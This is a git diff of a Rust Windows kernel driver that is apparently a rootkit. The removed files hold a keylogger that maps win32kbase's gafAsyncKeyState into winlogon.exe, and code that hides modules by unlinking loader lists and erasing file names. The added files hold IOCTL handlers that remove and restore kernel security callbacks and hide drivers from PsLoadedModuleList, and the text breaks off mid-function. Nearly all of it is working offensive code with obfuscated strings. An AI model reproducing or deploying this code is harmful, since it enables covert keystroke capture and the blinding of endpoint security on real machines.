utils::{
|
|
||||||
process_attach::ProcessAttach,
|
|
||||||
get_process_by_name, patterns::scan_for_pattern,
|
|
||||||
address::{get_function_address, get_module_base_address},
|
|
||||||
}
|
|
||||||
},
|
|
||||||
wdk_sys::{
|
|
||||||
ntddk::{
|
|
||||||
IoAllocateMdl, IoFreeMdl, MmBuildMdlForNonPagedPool,
|
|
||||||
MmMapLockedPagesSpecifyCache, MmIsAddressValid
|
|
||||||
},
|
|
||||||
_MEMORY_CACHING_TYPE::MmCached,
|
|
||||||
_MM_PAGE_PRIORITY::NormalPagePriority,
|
|
||||||
_MODE::UserMode,
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
/// Variable holding a user space address for keylogger functionality.
|
|
||||||
pub static mut USER_ADDRESS: usize = 0;
|
|
||||||
|
|
||||||
/// Retrieves the address of gafAsyncKeyState and maps it to the user mode of winlogon.exe.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `Option<*mut c_void>`: If successful, the address will be returned as Some, if not found, it will be returned as None.
|
|
||||||
///
|
|
||||||
pub unsafe fn get_user_address_keylogger() -> Option<*mut c_void> {
|
|
||||||
let pid = get_process_by_name(obfstr!("winlogon.exe"))?;
|
|
||||||
let winlogon_process = Process::new(pid)?;
|
|
||||||
let attach_process = ProcessAttach::new(winlogon_process.e_process);
|
|
||||||
let gaf_async_key_state_address = get_gafasynckeystate_address()?;
|
|
||||||
|
|
||||||
// Check that the address is valid
|
|
||||||
if MmIsAddressValid(gaf_async_key_state_address as *mut c_void) == 0 {
|
|
||||||
log::info!("Invalid or pagable gafAsyncKeyState address");
|
|
||||||
return None;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Allocates the MDL to memory
|
|
||||||
let mdl = IoAllocateMdl(gaf_async_key_state_address as _, size_of::<[u8; 64]>() as u32, 0, 0, null_mut());
|
|
||||||
if mdl.is_null() {
|
|
||||||
log::info!("IoAllocateMdl Failed");
|
|
||||||
return None;
|
|
||||||
}
|
|
||||||
|
|
||||||
MmBuildMdlForNonPagedPool(mdl);
|
|
||||||
|
|
||||||
// Maps memory to user space
|
|
||||||
let address = MmMapLockedPagesSpecifyCache(mdl, UserMode as i8, MmCached, null_mut(), 0, NormalPagePriority as u32);
|
|
||||||
if address.is_null() {
|
|
||||||
log::info!("MmMapLockedPagesSpecifyCache Failed");
|
|
||||||
IoFreeMdl(mdl);
|
|
||||||
return None;
|
|
||||||
}
|
|
||||||
|
|
||||||
Some(address)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Get the address of the `gafAsyncKeyState` array.
|
|
||||||
///
|
|
||||||
/// This function is only compatible with Windows 10.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// `Option<PVOID>`: The address of the `gafAsyncKeyState` array if found, otherwise `None`.
|
|
||||||
///
|
|
||||||
unsafe fn get_gafasynckeystate_address() -> Option<*mut u8> {
|
|
||||||
let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?;
|
|
||||||
let function_address = get_function_address(obfstr!("NtUserGetAsyncKeyState"), module_address)?;
|
|
||||||
|
|
||||||
// fffff4e1`18e41bae 48 8b 05 0b 4d 20 00 mov rax,qword ptr [win32kbase!gafAsyncKeyState (fffff4e1`190468c0)]
|
|
||||||
// fffff4e1`18e41bb5 48 89 81 80 00 00 00 mov qword ptr [rcx+80h],rax
|
|
||||||
let pattern = [0x48, 0x8B, 0x05];
|
|
||||||
scan_for_pattern(function_address, &pattern, 3, 7, 0x200, i32::from_le_bytes)
|
|
||||||
}
|
|
||||||
@@ -1,4 +0,0 @@
|
|||||||
pub mod etwti;
|
|
||||||
pub mod keylogger;
|
|
||||||
pub mod ioctls;
|
|
||||||
pub mod dse;
|
|
||||||
@@ -1,42 +0,0 @@
|
|||||||
use {
|
|
||||||
alloc::boxed::Box,
|
|
||||||
hashbrown::HashMap,
|
|
||||||
shared::{ioctls::{IOCTL_ENUMERATE_MODULE, IOCTL_HIDE_MODULE}, structs::{ModuleInfo, TargetProcess, TargetModule}},
|
|
||||||
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
|
|
||||||
crate::{handle, module::Module, utils::ioctls::IoctlHandler},
|
|
||||||
};
|
|
||||||
|
|
||||||
/// Registers the IOCTL handlers for module-related operations.
|
|
||||||
///
|
|
||||||
/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
|
|
||||||
/// their respective IOCTL codes. The two operations supported are:
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the module-related
|
|
||||||
/// IOCTL handlers will be inserted.
|
|
||||||
///
|
|
||||||
pub fn get_module_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
|
||||||
// Enumerate Modules
|
|
||||||
ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
|
||||||
let mut information = 0;
|
|
||||||
let status = unsafe { handle!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) };
|
|
||||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
|
||||||
|
|
||||||
match status {
|
|
||||||
Ok(_) => STATUS_SUCCESS,
|
|
||||||
Err(err_code) => err_code
|
|
||||||
}
|
|
||||||
}) as IoctlHandler);
|
|
||||||
|
|
||||||
// Hide Modules
|
|
||||||
ioctls.insert(IOCTL_HIDE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
|
||||||
let status = unsafe { handle!(stack, Module::hide_module, TargetModule) };
|
|
||||||
unsafe { (*irp).IoStatus.Information = 0};
|
|
||||||
|
|
||||||
match status {
|
|
||||||
Ok(_) => STATUS_SUCCESS,
|
|
||||||
Err(err_code) => err_code
|
|
||||||
}
|
|
||||||
}) as IoctlHandler);
|
|
||||||
}
|
|
||||||
@@ -1,274 +0,0 @@
|
|||||||
use {
|
|
||||||
winapi::shared::ntdef::LIST_ENTRY,
|
|
||||||
ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB},
|
|
||||||
shared::structs::{ModuleInfo, TargetModule, TargetProcess},
|
|
||||||
wdk_sys::{
|
|
||||||
ntddk::IoGetCurrentProcess, _MODE::KernelMode,
|
|
||||||
FILE_OBJECT, NTSTATUS, POOL_FLAG_NON_PAGED, RTL_BALANCED_NODE,
|
|
||||||
STATUS_INVALID_ADDRESS, STATUS_INVALID_PARAMETER, STATUS_UNSUCCESSFUL,
|
|
||||||
},
|
|
||||||
crate::{
|
|
||||||
internals::{
|
|
||||||
structs::{MMVAD_SHORT, MMVAD},
|
|
||||||
externs::{MmCopyVirtualMemory, PsGetProcessPeb}
|
|
||||||
},
|
|
||||||
process::Process,
|
|
||||||
utils::{
|
|
||||||
pool::PoolMemory, process_attach::ProcessAttach,
|
|
||||||
offsets::get_vad_root,
|
|
||||||
}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
pub mod ioctls;
|
|
||||||
|
|
||||||
/// Represents a module in the operating system.
|
|
||||||
pub struct Module;
|
|
||||||
|
|
||||||
impl Module {
|
|
||||||
|
|
||||||
/// VAD Type for an image map.
|
|
||||||
const VAD_IMAGE_MAP: u32 = 2;
|
|
||||||
|
|
||||||
/// Enumerates modules in a given target process.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `process`: A pointer to the target process (`*mut TargetProcess`) from which the modules will be enumerated.
|
|
||||||
/// - `module_info`: A pointer to a `ModuleInfo` structure that will be populated with information about the enumerated modules.
|
|
||||||
/// - `information`: A mutable reference to a `usize` that will store additional information about the module enumeration.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the module enumeration is successful, otherwise returns an appropriate error status.
|
|
||||||
///
|
|
||||||
pub unsafe fn enumerate_module(process: *mut TargetProcess, module_info: *mut ModuleInfo, information: &mut usize) -> Result<(), NTSTATUS> {
|
|
||||||
log::info!("Starting module enumeration");
|
|
||||||
|
|
||||||
let pid = (*process).pid;
|
|
||||||
let temp_info_size = 256 * core::mem::size_of::<ModuleInfo>();
|
|
||||||
|
|
||||||
// Allocates memory for temporarily storing module information
|
|
||||||
let temp_info = PoolMemory::new(POOL_FLAG_NON_PAGED, temp_info_size as u64, u32::from_be_bytes(*b"btrd"))
|
|
||||||
.map(|mem| mem.ptr as *mut ModuleInfo)
|
|
||||||
.ok_or_else(|| {
|
|
||||||
log::error!("PoolMemory (Module) Failed");
|
|
||||||
STATUS_UNSUCCESSFUL
|
|
||||||
})?;
|
|
||||||
|
|
||||||
// Attaches the target process to the current context
|
|
||||||
let target = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
|
||||||
let mut attach_process = ProcessAttach::new(target.e_process);
|
|
||||||
|
|
||||||
// Gets the PEB (Process Environment Block) of the target process
|
|
||||||
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
|
||||||
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
|
||||||
return Err(STATUS_INVALID_PARAMETER);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Enumerates the loaded modules from the InLoadOrderModuleList
|
|
||||||
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY;
|
|
||||||
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
|
|
||||||
let mut count = 0;
|
|
||||||
|
|
||||||
while next != current {
|
|
||||||
if next.is_null() {
|
|
||||||
log::error!("Next LIST_ENTRY is null");
|
|
||||||
return Err(STATUS_UNSUCCESSFUL);
|
|
||||||
}
|
|
||||||
|
|
||||||
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
if list_entry.is_null() {
|
|
||||||
log::error!("LDR_DATA_TABLE_ENTRY is null");
|
|
||||||
return Err(STATUS_UNSUCCESSFUL);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Retrieves the full module name
|
|
||||||
let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize);
|
|
||||||
if buffer.is_empty() {
|
|
||||||
log::error!("Buffer for module name is empty");
|
|
||||||
return Err(STATUS_UNSUCCESSFUL);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Populates the `ModuleInfo` structure with name, address, and index
|
|
||||||
let name = &mut (*temp_info.offset(count)).name.as_mut();
|
|
||||||
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
|
||||||
(*temp_info.offset(count)).address = (*list_entry).DllBase as usize;
|
|
||||||
(*temp_info.offset(count)).index = count as u8;
|
|
||||||
|
|
||||||
count += 1;
|
|
||||||
|
|
||||||
next = (*next).Flink;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Detaches the target process
|
|
||||||
attach_process.detach();
|
|
||||||
|
|
||||||
// Copies module information to the caller's space
|
|
||||||
let size_to_copy = count as usize * core::mem::size_of::<ModuleInfo>();
|
|
||||||
let mut return_size = 0;
|
|
||||||
MmCopyVirtualMemory(
|
|
||||||
IoGetCurrentProcess(),
|
|
||||||
temp_info as *mut _,
|
|
||||||
IoGetCurrentProcess(),
|
|
||||||
module_info as *mut _,
|
|
||||||
size_to_copy as u64,
|
|
||||||
KernelMode as i8,
|
|
||||||
&mut return_size,
|
|
||||||
);
|
|
||||||
|
|
||||||
*information = count as usize * core::mem::size_of::<ModuleInfo>();
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Hides a module in a target process by removing its entries from the module list.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `target`: A pointer to a `TargetModule` structure containing information about the module to be hidden.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the module is successfully hidden, otherwise returns an appropriate error status.
|
|
||||||
///
|
|
||||||
pub unsafe fn hide_module(target: *mut TargetModule) -> Result<(), NTSTATUS> {
|
|
||||||
let pid = (*target).pid;
|
|
||||||
let module_name = &(*target).module_name.to_lowercase();
|
|
||||||
let target = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
|
||||||
let mut attach_process = ProcessAttach::new(target.e_process);
|
|
||||||
|
|
||||||
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
|
||||||
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
|
||||||
return Err(STATUS_INVALID_PARAMETER);
|
|
||||||
}
|
|
||||||
|
|
||||||
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY;
|
|
||||||
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
|
|
||||||
let mut address = core::ptr::null_mut();
|
|
||||||
|
|
||||||
while next != current {
|
|
||||||
if next.is_null() {
|
|
||||||
log::error!("Next LIST_ENTRY is null");
|
|
||||||
return Err(STATUS_UNSUCCESSFUL);
|
|
||||||
}
|
|
||||||
|
|
||||||
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
|
||||||
if list_entry.is_null() {
|
|
||||||
log::error!("LDR_DATA_TABLE_ENTRY is null");
|
|
||||||
return Err(STATUS_UNSUCCESSFUL);
|
|
||||||
}
|
|
||||||
|
|
||||||
let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize);
|
|
||||||
if buffer.is_empty() {
|
|
||||||
log::error!("Buffer for module name is empty");
|
|
||||||
return Err(STATUS_UNSUCCESSFUL);
|
|
||||||
}
|
|
||||||
|
|
||||||
let dll_name = alloc::string::String::from_utf16_lossy(buffer);
|
|
||||||
if dll_name.to_lowercase() == module_name.to_lowercase() {
|
|
||||||
// Removes the module from the load order list
|
|
||||||
Self::remove_link(&mut (*list_entry).InLoadOrderLinks);
|
|
||||||
Self::remove_link(&mut (*list_entry).InMemoryOrderLinks);
|
|
||||||
Self::remove_link(&mut (*list_entry).u1.InInitializationOrderLinks);
|
|
||||||
Self::remove_link(&mut (*list_entry).HashLinks);
|
|
||||||
address = (*list_entry).DllBase;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
next = (*next).Flink;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Detaches the target process
|
|
||||||
attach_process.detach();
|
|
||||||
|
|
||||||
if !address.is_null() {
|
|
||||||
Self::hide_object(address as u64, target);
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Removing the module name in the FILE_OBJECT structure.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `target_address`: The address of the module to hide.
|
|
||||||
/// - `target_eprocess`: The target process structure.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the VAD is successfully hidden, otherwise returns an appropriate error status.
|
|
||||||
///
|
|
||||||
pub unsafe fn hide_object(target_address: u64, target_eprocess: Process) -> Result<(), NTSTATUS> {
|
|
||||||
let vad_root = get_vad_root();
|
|
||||||
let vad_table = target_eprocess.e_process.cast::<u8>().offset(vad_root as isize) as *mut RTL_BALANCED_NODE;
|
|
||||||
let current_node = vad_table;
|
|
||||||
|
|
||||||
// Uses a stack to iteratively traverse the tree
|
|
||||||
let mut stack = alloc::vec![vad_table];
|
|
||||||
while let Some(current_node) = stack.pop() {
|
|
||||||
if current_node.is_null() {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Converts the current node to an MMVAD_SHORT
|
|
||||||
let vad_short = current_node as *mut MMVAD_SHORT;
|
|
||||||
|
|
||||||
// Calculates start and end addresses
|
|
||||||
let mut start_address = (*vad_short).starting_vpn as u64;
|
|
||||||
let mut end_address = (*vad_short).ending_vpn as u64;
|
|
||||||
|
|
||||||
// Uses StartingVpnHigh and EndingVpnHigh to assemble the complete address
|
|
||||||
start_address |= ((*vad_short).starting_vpn_high as u64) << 32;
|
|
||||||
end_address |= ((*vad_short).ending_vpn_high as u64) << 32;
|
|
||||||
|
|
||||||
// Multiply the addresses by 0x1000 (page size) to get the real addresses
|
|
||||||
let start_address = start_address * 0x1000;
|
|
||||||
let end_address = end_address * 0x1000;
|
|
||||||
|
|
||||||
if (*vad_short).u.vad_flags.vad_type() == Self::VAD_IMAGE_MAP && target_address >= start_address && target_address <= end_address {
|
|
||||||
let long_node = vad_short as *mut MMVAD;
|
|
||||||
|
|
||||||
let subsection = (*long_node).subsection;
|
|
||||||
if subsection.is_null() || (*subsection).control_area.is_null() || (*(*subsection).control_area).file_pointer.inner.object.is_null() {
|
|
||||||
return Err(STATUS_INVALID_ADDRESS);
|
|
||||||
}
|
|
||||||
|
|
||||||
let file_object = ((*(*subsection).control_area).file_pointer.inner.value & !0xF) as *const FILE_OBJECT;
|
|
||||||
core::ptr::write_bytes((*file_object).FileName.Buffer, 0, (*file_object).FileName.Length as usize);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Stack the right node (if there is one)
|
|
||||||
if !(*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Right.is_null() {
|
|
||||||
stack.push((*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Right);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Stack the left node (if there is one)
|
|
||||||
if !(*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Left.is_null() {
|
|
||||||
stack.push((*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Left);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Removes a link from the list.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `list`: A mutable reference to the `LIST_ENTRY` structure to unlink.
|
|
||||||
///
|
|
||||||
unsafe fn remove_link(list: &mut LIST_ENTRY) {
|
|
||||||
let next = list.Flink;
|
|
||||||
let previous = list.Blink;
|
|
||||||
|
|
||||||
(*next).Blink = previous;
|
|
||||||
(*previous).Flink = next;
|
|
||||||
|
|
||||||
list.Flink = list;
|
|
||||||
list.Blink = list;
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
136
driver/src/modules/callback.rs
Normal file
136
driver/src/modules/callback.rs
Normal file
@@ -0,0 +1,136 @@
|
|||||||
|
use {
|
||||||
|
alloc::boxed::Box,
|
||||||
|
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
|
||||||
|
};
|
||||||
|
|
||||||
|
use {
|
||||||
|
crate::utils::{
|
||||||
|
ioctls::IoctlManager,
|
||||||
|
get_input_buffer, get_output_buffer,
|
||||||
|
},
|
||||||
|
common::{
|
||||||
|
enums::Callbacks,
|
||||||
|
structs::{CallbackInfoInput, CallbackInfoOutput},
|
||||||
|
ioctls::{
|
||||||
|
REMOVE_CALLBACK, RESTORE_CALLBACK,
|
||||||
|
ENUMERATE_CALLBACK, ENUMERATE_REMOVED_CALLBACK,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Registers the IOCTL handlers for callback-related operations.
|
||||||
|
///
|
||||||
|
/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
|
||||||
|
/// their respective IOCTL codes. The two operations supported are:
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `ioctls` - A mutable reference to a `HashMap<u32, IoctlHandler>` where the callback-related
|
||||||
|
/// IOCTL handlers will be inserted.
|
||||||
|
pub fn register_callback_ioctls(ioctls: &mut IoctlManager) {
|
||||||
|
// Lists Callbacks.
|
||||||
|
ioctls.register_handler(ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
unsafe {
|
||||||
|
let target_callback = get_input_buffer::<CallbackInfoInput>(stack)?;
|
||||||
|
let callback_info = get_output_buffer::<CallbackInfoOutput>(irp)?;
|
||||||
|
let callbacks = match (*target_callback).callback {
|
||||||
|
Callbacks::PsSetCreateProcessNotifyRoutine
|
||||||
|
| Callbacks::PsSetCreateThreadNotifyRoutine
|
||||||
|
| Callbacks::PsSetLoadImageNotifyRoutine => shadowx::Callback::enumerate((*target_callback).callback)?,
|
||||||
|
|
||||||
|
Callbacks::CmRegisterCallbackEx => shadowx::CallbackRegistry::enumerate((*target_callback).callback)?,
|
||||||
|
|
||||||
|
Callbacks::ObProcess
|
||||||
|
| Callbacks::ObThread => shadowx::CallbackOb::enumerate((*target_callback).callback)?,
|
||||||
|
};
|
||||||
|
|
||||||
|
for (index, callback) in callbacks.iter().enumerate() {
|
||||||
|
let info_ptr = callback_info.add(index);
|
||||||
|
|
||||||
|
core::ptr::copy_nonoverlapping(callback.name.as_ptr(), (*info_ptr).name.as_mut_ptr(), callback.name.len());
|
||||||
|
(*info_ptr).address = callback.address;
|
||||||
|
(*info_ptr).index = index as u8;
|
||||||
|
(*info_ptr).pre_operation = callback.pre_operation;
|
||||||
|
(*info_ptr).post_operation = callback.post_operation;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set the size of the returned information.
|
||||||
|
(*irp).IoStatus.Information = (callbacks.len() * size_of::<CallbackInfoOutput>()) as u64;
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// Remove Callback.
|
||||||
|
ioctls.register_handler(REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
unsafe {
|
||||||
|
let target_callback = get_input_buffer::<CallbackInfoInput>(stack)?;
|
||||||
|
let status = match (*target_callback).callback {
|
||||||
|
Callbacks::PsSetCreateProcessNotifyRoutine
|
||||||
|
| Callbacks::PsSetCreateThreadNotifyRoutine
|
||||||
|
| Callbacks::PsSetLoadImageNotifyRoutine => shadowx::Callback::remove((*target_callback).callback, (*target_callback).index)?,
|
||||||
|
|
||||||
|
Callbacks::CmRegisterCallbackEx => shadowx::CallbackRegistry::remove((*target_callback).callback, (*target_callback).index)?,
|
||||||
|
|
||||||
|
Callbacks::ObProcess
|
||||||
|
| Callbacks::ObThread => shadowx::CallbackOb::remove((*target_callback).callback, (*target_callback).index)?,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Set the size of the returned information.
|
||||||
|
(*irp).IoStatus.Information = size_of::<CallbackInfoInput>() as u64;
|
||||||
|
Ok(status)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// Restore Callback.
|
||||||
|
ioctls.register_handler(RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
unsafe {
|
||||||
|
let target_callback = get_input_buffer::<CallbackInfoInput>(stack)?;
|
||||||
|
let status = match (*target_callback).callback {
|
||||||
|
Callbacks::PsSetCreateProcessNotifyRoutine
|
||||||
|
| Callbacks::PsSetCreateThreadNotifyRoutine
|
||||||
|
| Callbacks::PsSetLoadImageNotifyRoutine => shadowx::Callback::restore((*target_callback).callback, (*target_callback).index)?,
|
||||||
|
|
||||||
|
Callbacks::CmRegisterCallbackEx => shadowx::CallbackRegistry::restore((*target_callback).callback, (*target_callback).index)?,
|
||||||
|
|
||||||
|
Callbacks::ObProcess
|
||||||
|
| Callbacks::ObThread => shadowx::CallbackOb::restore((*target_callback).callback, (*target_callback).index)?,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Set the size of the returned information.
|
||||||
|
(*irp).IoStatus.Information = size_of::<CallbackInfoInput>() as u64;
|
||||||
|
Ok(status)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// List Callbacks Removed.
|
||||||
|
ioctls.register_handler(ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
unsafe {
|
||||||
|
let target_callback = get_input_buffer::<CallbackInfoInput>(stack)?;
|
||||||
|
let callback_info = get_output_buffer::<CallbackInfoOutput>(irp)?;
|
||||||
|
let callbacks = match (*target_callback).callback {
|
||||||
|
Callbacks::PsSetCreateProcessNotifyRoutine
|
||||||
|
| Callbacks::PsSetCreateThreadNotifyRoutine
|
||||||
|
| Callbacks::PsSetLoadImageNotifyRoutine => shadowx::Callback::enumerate_removed()?,
|
||||||
|
|
||||||
|
Callbacks::CmRegisterCallbackEx => shadowx::CallbackRegistry::enumerate_removed()?,
|
||||||
|
|
||||||
|
Callbacks::ObProcess
|
||||||
|
| Callbacks::ObThread => shadowx::CallbackOb::enumerate_removed()?,
|
||||||
|
};
|
||||||
|
|
||||||
|
for (index, callback) in callbacks.iter().enumerate() {
|
||||||
|
let info_ptr = callback_info.add(index);
|
||||||
|
|
||||||
|
core::ptr::copy_nonoverlapping(callback.name.as_ptr(), (*info_ptr).name.as_mut_ptr(), callback.name.len());
|
||||||
|
(*info_ptr).address = callback.address;
|
||||||
|
(*info_ptr).index = callback.index as u8;
|
||||||
|
(*info_ptr).pre_operation = callback.pre_operation;
|
||||||
|
(*info_ptr).post_operation = callback.post_operation;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set the size of the returned information.
|
||||||
|
(*irp).IoStatus.Information = (callbacks.len() * size_of::<CallbackInfoOutput>()) as u64;
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
}
|
||||||
114
driver/src/modules/driver.rs
Normal file
114
driver/src/modules/driver.rs
Normal file
@@ -0,0 +1,114 @@
|
|||||||
|
use {
|
||||||
|
alloc::boxed::Box,
|
||||||
|
spin::{Lazy, Mutex},
|
||||||
|
shadowx::error::ShadowError,
|
||||||
|
alloc::{string::ToString, vec::Vec},
|
||||||
|
core::sync::atomic::{AtomicPtr, Ordering},
|
||||||
|
wdk_sys::{
|
||||||
|
IO_STACK_LOCATION, IRP,
|
||||||
|
STATUS_SUCCESS
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
use {
|
||||||
|
crate::utils::{
|
||||||
|
get_input_buffer,
|
||||||
|
get_output_buffer,
|
||||||
|
ioctls::IoctlManager
|
||||||
|
},
|
||||||
|
common::{
|
||||||
|
vars::MAX_DRIVER,
|
||||||
|
structs::{DriverInfo, TargetDriver},
|
||||||
|
ioctls::{
|
||||||
|
ENUMERATE_DRIVER,
|
||||||
|
HIDE_UNHIDE_DRIVER
|
||||||
|
},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Static structure to store hidden driver information.
|
||||||
|
///
|
||||||
|
/// This structure keeps track of the drivers that have been hidden, including their
|
||||||
|
/// `LDR_DATA_TABLE_ENTRY` and the previous list entries in `PsLoadedModuleList`.
|
||||||
|
static DRIVER_INFO_HIDE: Lazy<Mutex<Vec<TargetDriver>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER)));
|
||||||
|
|
||||||
|
/// Registers the IOCTL handlers for driver-related operations.
|
||||||
|
///
|
||||||
|
/// This function registers two handlers: one for hiding/unhiding drivers and another for
|
||||||
|
/// enumerating the active drivers on the system. The handlers are mapped to their respective
|
||||||
|
/// IOCTL codes.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `ioctls` - A mutable reference to an `IoctlManager` where the driver-related IOCTL handlers
|
||||||
|
/// will be registered.
|
||||||
|
pub fn register_driver_ioctls(ioctls: &mut IoctlManager) {
|
||||||
|
// Hiding / Unhiding a driver from the PsLoadedModuleList.
|
||||||
|
ioctls.register_handler(HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
|
unsafe {
|
||||||
|
let target_driver = get_input_buffer::<TargetDriver>(stack)?;
|
||||||
|
let driver_name = &(*target_driver).name;
|
||||||
|
|
||||||
|
// Perform the operation based on whether we are hiding or unhiding the driver.
|
||||||
|
let status = if (*target_driver).enable {
|
||||||
|
// Hide the driver and store its previous entries.
|
||||||
|
let (previous_list, previos_ldr_data) = shadowx::Driver::hide_driver(&driver_name)?;
|
||||||
|
let mut driver_info = DRIVER_INFO_HIDE.lock();
|
||||||
|
|
||||||
|
// Store the previous list entry and LDR_DATA_TABLE_ENTRY for later restoration.
|
||||||
|
let ldr_data_ptr = Box::into_raw(Box::new(previos_ldr_data));
|
||||||
|
let list_ptr = Box::into_raw(Box::new(previous_list));
|
||||||
|
|
||||||
|
driver_info.push(TargetDriver {
|
||||||
|
name: driver_name.clone(),
|
||||||
|
driver_entry: AtomicPtr::new(ldr_data_ptr),
|
||||||
|
list_entry: AtomicPtr::new(list_ptr as *mut _),
|
||||||
|
..Default::default()
|
||||||
|
});
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
} else {
|
||||||
|
// Unhide the driver by restoring its list entry and LDR_DATA_TABLE_ENTRY.
|
||||||
|
let (list_entry, ldr_data) = DRIVER_INFO_HIDE.lock()
|
||||||
|
.iter()
|
||||||
|
.find(|p| p.name == *driver_name)
|
||||||
|
.map(|process|
|
||||||
|
(process.list_entry.load(Ordering::SeqCst),
|
||||||
|
process.driver_entry.load(Ordering::SeqCst)
|
||||||
|
))
|
||||||
|
.ok_or(ShadowError::DriverNotFound(driver_name.to_string()))?;
|
||||||
|
|
||||||
|
shadowx::Driver::unhide_driver(&driver_name, list_entry as *mut _, ldr_data)?
|
||||||
|
};
|
||||||
|
|
||||||
|
// Set the size of the returned information.
|
